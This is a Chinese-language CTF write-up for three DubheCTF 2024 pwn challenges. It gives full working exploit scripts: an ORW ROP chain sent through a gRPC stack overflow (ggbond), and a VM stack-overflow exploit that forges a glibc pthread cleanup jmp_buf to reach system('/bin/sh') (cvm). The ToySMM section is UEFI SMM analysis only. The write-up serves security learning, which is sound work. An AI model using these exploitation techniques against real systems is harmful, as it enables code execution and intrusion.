2024 DubheCTF pwn wp

o4最赢的一集!*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。

ggbond

一个go写的grpc,8.3的IDA yyds

但有个屑没想到搜文件提proto的工具准备嗯逆,重复一个打开IDA开逆——放弃——再开逆——再放弃的过程

grpc

可以简单理解为远程调用函数

一个grpc server示例(部分)

  • greeter_server/main.go

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    package main

    import (
    "context"
    "flag"
    "fmt"
    "log"
    "net"

    "google.golang.org/grpc"
    pb "hellogrpc/hellogrpc"
    )

    var (
    port = flag.Int("port", 50051, "The server port")
    )

    // server嵌入了pb.UnimplementedGreeterServer,表示server将实现pb.GreeterServer接口的所有方法
    type server struct {
    pb.UnimplementedGreeterServer
    }

    // server结构体的方法,实现了pb.GreeterServer中的SayHello方法
    func (s *server) SayHello(ctx context.Context, in *pb.HelloRequest) (*pb.HelloReply, error) {
    log.Printf("Received: %v", in.GetName())
    return &pb.HelloReply{Message: "Hello " + in.GetName()}, nil
    }

    // 同上,实现了SayHelloAgain方法
    func (s *server) SayHelloAgain(ctx context.Context, in *pb.HelloRequest) (*pb.HelloReply, error) {
    return &pb.HelloReply{Message: "Hello again " + in.GetName()}, nil
    }

    func main() {
    flag.Parse() // 解析命令行参数
    lis, err := net.Listen("tcp", fmt.Sprintf(":%d", *port)) // 建立tcp监听器
    if err != nil {
    log.Fatalf("failed to listen: %v", err)
    }
    s := grpc.NewServer() // 创建grpc服务器实例
    pb.RegisterGreeterServer(s, &server{}) // 注册实例
    log.Printf("server listening at %v", lis.Addr())
    if err := s.Serve(lis); err != nil { // 开始监听并处理客户端的请求
    log.Fatalf("failed to serve: %v", err)
    }
    }
  • hellogrpc/hellogrpc.proto

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    syntax = "proto3";
    option go_package = "hellogrpc/hellogrpc";
    package hellogrpc;
    // The greeting service definition.
    service Greeter {
    // Sends a greeting
    rpc SayHello (HelloRequest) returns (HelloReply) {}
    rpc SayHelloAgain (HelloRequest) returns (HelloReply) {}
    }
    // The request message containing the user's name.
    message HelloRequest {
    string name = 1;
    }
    // The response message containing the greetings
    message HelloReply {
    string message = 1;
    }
  • hellogrpc/hellogrpc_grpc.pb.go(部分),只放一下上面提到的部分

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // UnimplementedGreeterServer must be embedded to have forward compatible implementations.
    type UnimplementedGreeterServer struct {
    }

    func (UnimplementedGreeterServer) SayHello(context.Context, *HelloRequest) (*HelloReply, error) {
    return nil, status.Errorf(codes.Unimplemented, "method SayHello not implemented")
    }
    func (UnimplementedGreeterServer) SayHelloAgain(context.Context, *HelloRequest) (*HelloReply, error) {
    return nil, status.Errorf(codes.Unimplemented, "method SayHelloAgain not implemented")
    }
    func (UnimplementedGreeterServer) mustEmbedUnimplementedGreeterServer() {}
    1
    2
    3
    func RegisterGreeterServer(s grpc.ServiceRegistrar, srv GreeterServer) {
    s.RegisterService(&Greeter_ServiceDesc, srv)
    }

    hellogrpc/hellogrpc.pb.go

    1
    2
    3
    4
    5
    6
    7
    8
    // The response message containing the greetings
    type HelloReply struct {
    state protoimpl.MessageState
    sizeCache protoimpl.SizeCache
    unknownFields protoimpl.UnknownFields

    Message string `protobuf:"bytes,1,opt,name=message,proto3" json:"message,omitempty"`
    }

proto提取

有一种神奇的工具叫 pbtk 可以从文件里提取proto :)

题外话,我刚开始打CTF的时候见过这个工具,但显然我不可能记得这件事QVQ,神奇的命运的轮回(雾)

提出来的proto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
rpc Handler(Request) returns (Response);
}

message Request {
oneof request { // oneof关键字定义了一个包含多个选择项的字段(类似union)
WhoamiRequest whoami = 100;
RoleChangeRequest role_change = 101;
RepeaterRequest repeater = 102;
}
}

message Response {
oneof response {
WhoamiResponse whoami = 200;
RoleChangeResponse role_change = 201;
RepeaterResponse repeater = 202;
ErrorResponse error = 444;
}
}

message WhoamiRequest {

}

message WhoamiResponse {
string message = 2000;
}

message RoleChangeRequest {
uint32 role = 1001;
}

message RoleChangeResponse {
string message = 2001;
}

message RepeaterRequest {
string message = 1002;
}

message RepeaterResponse {
string message = 2002;
}

message ErrorResponse {
string message = 4444;
}

python grpc

真不错,有个屑也不知道grpc还有python库:)

grpc工具包可以利用proto文件生成grpc服务类

1
python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ./ggbond.proto

会生成ggbond_pb2.py和ggbond_pb2_grpc.py两个文件,_pb2中定义了数据结构,_pd2_grpc中定义了方法

交互部分代码,根据ggbond_pb2和ggbond_pb2_grpc中的函数和proto文件猜着写就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import grpc

import ggbond_pb2
import ggbond_pb2_grpc


def whoami(chan):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest()))
return respond

def role_change(chan,role):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role)))
return respond

def repeater(chan,message):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=message)))
return respond


channel=grpc.insecure_channel('localhost:23334')
print(whoami(channel))
print(role_change(channel,3))
print(repeater(channel,'Eurus'))

go,狗都不逆,汪

既然会交互了那就随便试试

1
2
3
4
channel=grpc.insecure_channel('localhost:23334')
print(role_change(channel,6))
print(role_change(channel,3))
print(repeater(channel,'Eurus'))

输出

1
2
3
4
5
6
7
8
9
10
11
12
$ python exp.py
role_change {
message: "Role No Change."
}

role_change {
message: "New Role: SDaddy."
}

repeater {
message: "SDaddy: YBYB, YBBB."
}

然后IDA搜”Role No Change.”字符串搜到了处理函数main.(*server).Handler

role_change处理部分,role=3的时候有向栈上复制数据的操作,数据来源是将输入base64解码

那就可以愉快的溢出了 ^v^

exp

由于交互是通过端口进行的,不是将输入输出重定向到远程,所以弹不了shell,直接打orw

  • 爆破确认现在端口的fd,这里是7
  • 有syscall有gadget没开pie,可以直接用(甚至连flag字符串都有),真方便~
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

import grpc

import ggbond_pb2
import ggbond_pb2_grpc

import base64


def whoami(chan):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest()))
return respond

def role_change(chan,role):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role)))
return respond

def repeater(chan,message):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=base64.b64encode(message))))
return respond


channel=grpc.insecure_channel('localhost:23334')
print(role_change(channel,3))
rdi_addr=0x401537
rsi_addr=0x422398
rdx_addr=0x461bd1
rax_addr=0x4101e6
syscall_addr=0x40452C
flag_addr=0x7FAEEC
bss_addr=0xC90000
payload=b'a'*0xc8
payload+=p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0)+p64(rdx_addr)+p64(0)
payload+=p64(rax_addr)+p64(2)+p64(syscall_addr)
payload+=p64(rdi_addr)+p64(8)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)
payload+=p64(rax_addr)+p64(0)+p64(syscall_addr)
payload+=p64(rdi_addr)+p64(7)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)
payload+=p64(rax_addr)+p64(1)+p64(syscall_addr)
print(repeater(channel,payload))

tcpdump抓包,因为是本地所以抓lo

1
$ sudo tcpdump -w flag.pcap -i lo

简简又单单,但有笨b没做出来^v^

cvm

要打TLS但有个屑为了调试直接把start_thread patch了^v^

c++,狗都不逆,汪

比赛的时候其实已经把这玩意逆完了

vm的控制数据结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct vm {
size_t overflow; // 不知道干嘛的
struct {
void *stack_base; // 栈基址指针
void *stack_top; // 栈顶指针
struct {
void *mem_addr; // 栈空间地址
size_t mem_size; // 栈空间大小,0x20000
} mem;
} stack;
struct {
void *mem_addr; // text段地址
size_t mem_size; // text段大小,0x20000
} code;
/*
stack和code的数据结构
high
|------------------|
| stack |
|------------------|
| code |
|------------------|
low
*/
void *func_calls_begin; // 不知道干嘛的+1
void *func_calls_end; // 不知道干嘛的+2
void *unknown; // 不知道干嘛的+3
unsigned char lock; // 处理interrupt的锁
unsigned char finish; // vm是否停止的标记
unsigned char field1; // 占位
unsigned char field2; // 占位+1
unsigned int code_rip; // rip,offset的形式
}

支持的指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
def vm_nop():			# rip++
return b'\x00'

def vm_pop(): # stack_rop-=8
return b'\x01'

def vm_add(): # pop出两个数计算后push进stack,下同
return b'\x02'

def vm_sub():
return b'\x03'

def vm_mul():
return b'\x04'

def vm_div():
return b'\x05'

def vm_mod():
return b'\x06'

def vm_and():
return b'\x07'

def vm_or():
return b'\x08'

def vm_xor():
return b'\x09'

def vm_not(): # 单目运算符类似
return b'\x0A'

def vm_call():
return b'\x0B' # 怪,不管不重要

def vm_ret():
return b'\x0C' # pop offset,rip=offset

def vm_lea():
return b'\x0D' # pop offset,push stack_base+offset

def vm_push1(value): # push x个字节,下同
return b'\x0E' + value.to_bytes(1, 'little')

def vm_push2(value):
return b'\x0F' + value.to_bytes(2, 'little')

def vm_push4(value):
return b'\x10' + value.to_bytes(4, 'little')

def vm_push8(value):
return b'\x11' + value.to_bytes(8, 'little')

def vm_modcall(): # 可以通过这个进行read和write,通过throw exception和catch实现
return b'\x12'

def vm_jz(): # pop offset,pop num,根据num判断是否跳转到offset,下同
return b'\x13'

def vm_jb():
return b'\x14'

def vm_ja():
return b'\x15'

def vm_dup(): # push *stack_top
return b'\x16'

def vm_hlt(): # stop
return b'\x17'

program.bin如下:

rip 字节码 命令 栈内容
0 11 57 65 6c 63 6f 6d 65 20 push b’Welcome ‘ b’Welcome ‘
9 11 74 6f 20 54 53 43 54 46 push b’to TSCTF’ b’Welcome to TSCTF’
12 11 21 0a 0a 53 74 61 72 74 push b’!\n\nStart’ b’Welcome to TSCTF!\n\nStart’
1b 11 20 79 6f 75 72 20 65 78 push b’ your ex’ b’Welcome to TSCTF!\n\nStart your ex’
24 11 70 6c 6f 69 74 20 66 72 push b’ploit fr’ b’Welcome to TSCTF!\n\nStart your exploit fr’
2d 11 6f 6d 20 68 65 72 65 21 push b’om here!’ b’Welcome to TSCTF!\n\nStart your exploit from here!’
36 11 30 00 00 00 00 00 00 00 push p64(0x30) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(0x30)
3f 11 00 00 00 00 00 00 00 00 push p64(0) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(0x30)+p64(0)
48 0d pop p64(0) b’Welcome to TSCTF!\n\nStart your exploit from here!’
push p64(stack) +p64(0x30)+p64(stack)
49 11 fc d2 98 14 10 2c 24 14 push p64(output) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(0x30)+p64(stack)+p64(output)
52 12 output(stack,0x30) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(cnt)
53 11 30 00 00 00 00 00 00 00 push p64(0x30) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(cnt)+p64(0x30)
5c 03 pop p64(0x30) b’Welcome to TSCTF!\n\nStart your exploit from here!’
pop p64(0x30) +p64(0x30-cnt)
push p64(0x30-cnt)
5d 16 dup b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(0x30-cnt)+p64(0x30-cnt)
5e 11 9a 00 00 00 00 00 00 00 push p64(0x9a) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(0x30-cnt)+p64(0x30-cnt)+p64(0x9a)
67 15 jg b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(0x30-cnt)
68 11 9a 00 00 00 00 00 00 00 push p64(0x9a) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(0x30-cnt)+p64(0x9a)
71 14 jl b’Welcome to TSCTF!\n\nStart your exploit from here!’
72 11 9b 00 00 00 00 00 00 00 push p64(0x9b) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(0x9b)
7b 11 00 10 00 00 00 00 00 00 push p64(0x1000) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(0x9b)+p64(0x1000)
84 11 00 00 00 00 00 00 00 00 push p64(0) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(0x9b)+p64(0x1000)+p64(0)
8d 0d pop p64(0) b’Welcome to TSCTF!\n\nStart your exploit from here!’
push p64(stack) +p64(0x9b)+p64(0x1000)+p64(stack)
8e 11 1c 85 c6 e3 59 76 6d f0 push p64(input) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(0x9b)+p64(0x1000)+p64(stack)
+p64(input)
97 12 input(stack,0x1000) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(0x9b)+p64(cnt)
98 01 pop b’Welcome to TSCTF!\n\nStart your exploit from here!’
+p64(0x9b)
99 0c ret b’Welcome to TSCTF!\n\nStart your exploit from here!’
9a 17 hlt
9b 11 48 61 76 65 20 66 75 6e push b’Have fun’ b’Welcome to TSCTF!\n\nStart your exploit from here!’
+b’Have fun’
a4 11 08 00 00 00 00 00 00 00 push p64(8) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+b’Have fun’+p64(8)
ad 11 30 00 00 00 00 00 00 00 push p64(0x30) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+b’Have fun’+p64(8)+p64(0x30)
b6 0d pop p64(0x30) b’Welcome to TSCTF!\n\nStart your exploit from here!’
push p64(stack+0x30) +b’Have fun’+p64(8)+p64(0x30)+p64(stack)
b7 11 fc d2 98 14 10 2c 24 14 push p64(output) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+b’Have fun’+p64(8)+p64(0x30)+p64(stack)
+p64(output)
c0 12 output(stack+0x30,8) b’Welcome to TSCTF!\n\nStart your exploit from here!’
+b’Have fun’+p64(cnt)
c1 17 hlt

漏洞点,判断stack overflow的时候用的==,但push有1248四种,可以溢出

且memory out of range还取了页对齐,所以可以溢出0xfff字节

比赛的时候注意到这个了,但当时脑子抽了以为stack在code下面,虽然就算没搞错我把多线程patch掉了且不会打TLS也没戏.jpg

其实也不算太难逆,主要是各种检查和io都是由exception实现的,看起来很丑,嗯,都是c++的锅

利用链

先贴一个线程结构体(部分)

1
2
3
4
5
6
7
8
9
struct pthread
{
/* Unwind information. */
struct pthread_unwind_buf *cleanup_jmp_buf;
void *result;

/* Flags determining processing of cancellation. */
int cancelhandling;
}

read

read和write函数中会根据__libc_single_threaded全局变量判断是否需要调用__pthread_enable_asynccancel开启异步取消

源码不如汇编系列,珍爱生命原理宏定义

多线程时__libc_single_threaded=0否则__libc_single_threaded=1

__pthread_enable_asynccancel

__pthread_enable_asynccancel大致流程:

  • 获取当前线程的cancelhandling,进入循环
  • 判断是否已经设置了异步取消CANCELTYPE_BIT,是则跳出循环,否则继续执行
  • 设置CANCELTYPE_BIT
  • 判断当前线程的cancelhandling是否设置了CANCELED_BITMASK需要被取消,否则跳出循环,是则
    • 设置当前线程result为PTHREAD_CANCELED
    • 调用__do_cancel取消线程

__do_cancel

  • 设置当前线程cancelhandling的EXITING_BITMASK(确保不会再被其他线程取消)
  • 调用__pthread_unwind,参数为当前线程的cleanup_jmp_buf

__pthread_unwind

当一个函数拥有多个互斥锁却不幸被cancel时这个函数用于完成他的遗嘱doge

  • 初始化线程的exc的一些field
  • 调用_Unwind_ForcedUnwind,参数是exc,unwind_stop函数和cleanup_jmp_buf

_Unwind_ForcedUnwind

  • 调用__libc_unwind_link_get获取全局struct unwind_link global,里面的函数都是加密过的

  • 获取当前线程的pointer_guard,解密ptr__Unwind_ForcedUnwind

  • 调用ptr__Unwind_ForcedUnwind指向的函数,这个是libgcc_s.so.1中的_Unwind_ForcedUnwind函数

unwind_stop

在libgcc中执行一些函数后又会回到glibc执行unwind_stop,参数stop_parameter为当前线程的cleanup_jmp_buf

  • 在start_thread创建新线程的时候会调用setjmp新建cleanup_jmp_buf,如果这个线程被取消,则调用longjmp返回start_thread进行收尾工作
  • unwind_stop会判断最后保存的上下文是不是正在展开的栈帧,是则调用longjmp,需要利用这一过程

longjmp

调用流程如下,这里的函数指针当然也是加密过的:

1
2
__libc_longjmp -> __longjmp_cancel -> *(cleanup_jmp_buf+0x38)(cleanup_jmp_buf)
rsp=*(cleanup_jmp_buf+0x30)

加密是循环左移0x11不是右移11^v^

exp

用循环,只用dup发的数据太多read可能提前结束

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

def vmnop():
return b'\x00'

def vmpop():
return b'\x01'

def vmadd():
return b'\x02'

def vmsub():
return b'\x03'

def vmmul():
return b'\x04'

def vmdiv():
return b'\x05'

def vmmod():
return b'\x06'

def vmand():
return b'\x07'

def vmor():
return b'\x08'

def vmxor():
return b'\x09'

def vmnot():
return b'\x0a'

def vmcall(addr):
return vmpush8(p64(addr))+b'\x0b'

def vmret(addr):
return vmpush8(p64(addr))+b'\x0c'

def vmlea(offset):
return vmpush8(p64(offset))+b'\x0d'

def vmpush1(arg):
return b'\x0e'+arg

def vmpush2(arg):
return b'\x0f'+arg

def vmpush4(arg):
return b'\x10'+arg

def vmpush8(arg):
return b'\x11'+arg

def vmoutput(offset,cnt):
return vmpush8(p64(cnt))+vmlea(offset)+vmpush8(p64(0x14242c101498d2fc))+b'\x12'

def vminput(offset,cnt):
return vmpush8(p64(cnt))+vmlea(offset)+vmpush8(p64(0xf06d7659e3c6851c))+b'\x12'

def vmmodcall():
return b'\x12'

def vmjne():
return b'\x13'

def vmjl():
return b'\x14'

def vmjg():
return b'\x15'

def vmdup():
return b'\x16'

def vmhlt():
return b'\x17'

p=remote('127.0.0.1',9999)
libc=ELF('./libc.so.6')
shellcode=b'a'*(0x30-8*3)+p64(0x100)+p64(0x14e)+p64(0xfffffffffffe0000)+p64(0x8d)
pause()
p.sendafter(b'Start your exploit from here!',shellcode)
pause()

shellcode=b'a'*0x98+b'\x01\x0c'
shellcode=shellcode.ljust(0x100,b'a')
shellcode+=vmlea(0)+vmoutput(0x18,8)+vminput(0xfffffffffffe0200,0x20000-0x200)+vmret(0x200)
# overflow
p.send(shellcode)
vmstack=u64(p.recv(8))-0x820000
stack=vmstack+0x20000+8
system_addr=vmstack+0x930000+libc.symbols['system']
print(hex(vmstack))

shellcode=vmpush8(p64(0))+vmdup()+vmpush8(p64(1))+vmadd()+vmdup()
shellcode+=vmpush8(p64((0x20000-0x30)//8-4))+vmsub()
shellcode+=vmpush8(p64(0x209))+vmjg()
shellcode+=vmpush8(b'c'*8)+vmdup()
shellcode+=vmpush4(b'd'*4)+vmdup()+vmpush4(b'e'*4)
shellcode+=vmpush8(b'\x00'*8)+vmdup()*0xe6
shellcode+=vmpush8(p64(vmstack+0x840740))+vmpush8(p64(vmstack+0x8410e0))+vmpush8(p64(vmstack+0x840740))
shellcode+=vmpush8(p64(1))+vmpush8(b'\x00'*8)+vmdup()*(736//8-1)
shellcode+=vmpush8(p64(vmstack+0x800400))+vmpush4(p32(8))+vmoutput(0x18,8)
shellcode=shellcode.ljust(0x200,b'\x00')
shellcode+=b'/bin/sh\x00'+b'\x00'*0x28+p64((stack<<0x11)|((stack>>(64-0x11))&0xffffffffffffffff))
shellcode+=p64((system_addr<<0x11)|((system_addr>>(64-0x11))&0xffffffffffffffff))
p.send(shellcode)
p.interactive()

ToySMM

\呆神/ \呆神/ \呆神/

先康康附件

尝试改变一下思维方式,不能什么都追溯到宇宙洪荒,效率低学习成本高容易劝退,说不定走一步看一步会有奇效:)

run.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#! /bin/sh

cp OVMF_VARS.fd OVMF_VARS_copy.fd

./qemu-system-x86_64 \
-no-reboot \
-machine q35,smm=on \ # 使用Intel Q35主板,开启SMM
-cpu max \
-net none \
-serial stdio \ # 串口输出重定向至标准输入输出
-display none \
-vga none \
-global ICH9-LPC.disable_s3=1 \ # 禁用ICH9-LPC设备的S3睡眠状态
-global driver=cfi.pflash01,property=secure,value=on \
# 启用QEMU内部的CFI(Common Flash Interface)模拟驱动,并设置其属性为secure
-drive if=pflash,format=raw,unit=0,file=OVMF_CODE.fd,readonly=on \
# 指定使用pflash驱动,并将OVMF_CODE.fd文件作为虚拟机的固件映像(Firmware Image),设置为只读
-drive if=pflash,format=raw,unit=1,file=OVMF_VARS_copy.fd \
# 指定使用pflash驱动,并将OVMF_VARS_copy.fd文件作为虚拟机的变量存储映像,用于保存虚拟机的变量状态
-drive format=raw,file=fat:rw:rootfs\
# 指定使用raw格式的驱动,并将rootfs文件作为虚拟机的硬盘驱动器
-debugcon file:debug.log\ # 将调试输出重定向到debug.log文件
-global isa-debugcon.iobase=0x402 # 设置调试串口的I/O基地址为0x402
  • CFI:一种用于模拟闪存设备的接口,CFI模拟驱动允许将虚拟机中的一块区域映射为可供虚拟机访问的闪存设备
  • -global:设置全局设备
    • driver:设置了全局的driver pflash的配置,这里是secure on
      • 之后如果-driver选项通过if设置的接口类型为pflash则使用这个全局的配置
    • pflash01:01表示设备的索引或编号
  • OVMF_CODE.fd:
    • if=pflash:使用pflash接口
    • format=raw:驱动器为原始格式
    • unit=0:驱动器单元号为0
    • file=OVMF_CODE.fd:指定驱动映像文件
    • readonly=on:只读
  • OVMF_VARS_copy.fd同上

kvmvapic.bin

qemu使用的BIOS ROM,因为不是本地的qemu所以需要这个文件

OVMF

部分内容来自2023HWS的ppt

  • UEFI:一种标准,用来定义操作系统与系统固件之间的软件界面,作为BIOS的替代方案
  • EKD2:第二代UEFI的官方开发库,UEFI的一份实现代码
  • OVMF:一个固件,可以在虚拟机上运行的edk2包

rootfs

rootfs作为硬盘驱动被载入

  • startupn.nsh:UEFI shell的shell脚本
  • ToyApp.efi:UEFI模块

我是谁我在哪我要干什么

先捋一下题目干了什么我们要干什么

题目主要有两个部分

  • ToySMM:一个SMM模块
  • ToyApp:一个efi模块

ToySMM

  • 这是一个SMM模块(工具:UEFITool)

  • 模块入口函数ToySMM_entry_5DB9425E(工具:efiXplorer)

    大概分为三部分:

    • 利用EFI_SMM_BASE2_PROTOCOL的GetSmstLocation服务获取EFI_SMM_SYSTEM_TABLE2

      这个结构体主要提供一些服务(结构体部分成员如下):

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      struct _EFI_SMM_SYSTEM_TABLE2 {
      /// 内存服务,申请或释放SMRAM
      EFI_ALLOCATE_POOL SmmAllocatePool;
      EFI_FREE_POOL SmmFreePool;
      EFI_ALLOCATE_PAGES SmmAllocatePages;
      EFI_FREE_PAGES SmmFreePages;

      /// Protocol服务
      EFI_INSTALL_PROTOCOL_INTERFACE SmmInstallProtocolInterface;
      EFI_UNINSTALL_PROTOCOL_INTERFACE SmmUninstallProtocolInterface;
      EFI_HANDLE_PROTOCOL SmmHandleProtocol;
      EFI_SMM_REGISTER_PROTOCOL_NOTIFY SmmRegisterProtocolNotify;
      EFI_LOCATE_HANDLE SmmLocateHandle;
      EFI_LOCATE_PROTOCOL SmmLocateProtocol;

      /// SMI处理函数
      EFI_SMM_INTERRUPT_MANAGE SmiManage;
      EFI_SMM_INTERRUPT_REGISTER SmiHandlerRegister;
      EFI_SMM_INTERRUPT_UNREGISTER SmiHandlerUnRegister;
      };
    • 利用EFI_SMM_ACCESS2_PROTOCOL的GetCapabilities服务获取EFI_SMRAM_DESCRIPTOR

      • 先令GetCapabilities的SmramMap参数为0获取size
      • 再申请内存
      • 再通过GetCapabilities获取EFI_SMRAM_DESCRIPTOR
      • 再通过size>>5获取EFI_SMRAM_DESCRIPTOR的个数(EFI_SMRAM_DESCRIPTOR32字节)
      1
      2
      3
      4
      5
      6
      7
      8
      typedef struct {
      EFI_PHYSICAL_ADDRESS PhysicalStart;
      EFI_PHYSICAL_ADDRESS CpuStart;
      UINT64 PhysicalSize;
      UINT64 RegionState;
      } EFI_MMRAM_DESCRIPTOR;

      typedef EFI_MMRAM_DESCRIPTOR EFI_SMRAM_DESCRIPTOR;
    • 然后是一些Hob操作,看不懂(

    • 然后又是一些看不懂的操作…

      • 之后输出ToySMM模块的加载基址
      • 利用SmiHandlerRegister注册SMM handler

ToyApp

从输出来判断一下这个app的功能:

  • 输入shellcode
  • 输入Done执行shellcode
  • 输入QUIT退出

ToyApp.efi入口函数_ModuleEntryPoint执行的就是这个功能(反汇编完依托答辩)

动态加载地址可以搜索字符串确定(注意UTF-16LE)

SMM

  • SMM功能:
    • 提供一块隔离内存SMRAM,包含代码和数据
    • 只有SMM(ring -2)可以访问
  • 进入SMM:
    • 发出SMI,向0xB2端口写入数据就可以触发SMI

SmiHandlerRegister

看一下SmiHandlerRegister的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
EFI_STATUS
EFIAPI
SmiHandlerRegister (
IN EFI_SMM_HANDLER_ENTRY_POINT2 Handler,
IN CONST EFI_GUID *HandlerType OPTIONAL,
OUT EFI_HANDLE *DispatchHandle
)
{
SMI_HANDLER *SmiHandler;
SMI_ENTRY *SmiEntry;
LIST_ENTRY *List;

// 1. 新建一个SMI_HANDLER
if ((Handler == NULL) || (DispatchHandle == NULL)) {
return EFI_INVALID_PARAMETER;
}

SmiHandler = AllocateZeroPool (sizeof (SMI_HANDLER));
if (SmiHandler == NULL) {
return EFI_OUT_OF_RESOURCES;
}

SmiHandler->Signature = SMI_HANDLER_SIGNATURE;
SmiHandler->Handler = Handler;
SmiHandler->CallerAddr = (UINTN)RETURN_ADDRESS (0);

// 2. 利用SmmCoreFindSmiEntry将SmiHandler插入mSmiEntryList
if (HandlerType == NULL) {
SmiEntry = &mRootSmiEntry;
} else {
SmiEntry = SmmCoreFindSmiEntry ((EFI_GUID *)HandlerType, TRUE);
if (SmiEntry == NULL) {
return EFI_OUT_OF_RESOURCES;
}
}

List = &SmiEntry->SmiHandlers;

SmiHandler->SmiEntry = SmiEntry;
InsertTailList (List, &SmiHandler->Link);

// 3. 返回SmiHandler
*DispatchHandle = (EFI_HANDLE)SmiHandler;

return EFI_SUCCESS;
}

SMI_HANDLER结构体:

1
2
3
4
5
6
7
8
9
10
11
#define SMI_HANDLER_SIGNATURE  SIGNATURE_32('s','m','i','h')

typedef struct {
UINTN Signature;
LIST_ENTRY Link; // Link on SMI_ENTRY.SmiHandlers
EFI_SMM_HANDLER_ENTRY_POINT2 Handler; // The smm handler's entry point
UINTN CallerAddr; // The address of caller who register the SMI handler.
SMI_ENTRY *SmiEntry;
VOID *Context; // for profile
UINTN ContextSize; // for profile
} SMI_HANDLER;

这里的EFI_SMM_HANDLER_ENTRY_POINT2是个函数

1
2
3
4
5
6
7
8
9
10
typedef
EFI_STATUS
(EFIAPI *EFI_MM_HANDLER_ENTRY_POINT)(
IN EFI_HANDLE DispatchHandle,
IN CONST VOID *Context OPTIONAL,
IN OUT VOID *CommBuffer OPTIONAL,
IN OUT UINTN *CommBufferSize OPTIONAL
);

typedef EFI_MM_HANDLER_ENTRY_POINT EFI_SMM_HANDLER_ENTRY_POINT2;

ToySMM中注册的是ToyMain函数

gcSmiHandlerTemplate

通过SMI进入SMM后:

  • 会将当前状态存在SMBASE + 0x8000 + 0x7c00,比如各个寄存器的值
  • 执行SMBASE + 0x8000处的代码

SMBASE + 0x8000会被初始化为gcSmiHandlerTemplate

函数调用链:

1
2
3
4
5
6
gcSmiHandlerTemplate
-> SmiRendezvous
-> BSPHandler
-> gSmmCpuPrivate->SmmCoreEntry
SmmEntryPoint
-> SmiManage (IMAGE, GUID, CommBuffer)

SmiManage中最后会执行之前注册的Handler,ToySMM中是ToyMain

1
2
3
4
5
6
Status             = SmiHandler->Handler (
(EFI_HANDLE)SmiHandler,
Context,
CommBuffer,
CommBufferSize
);
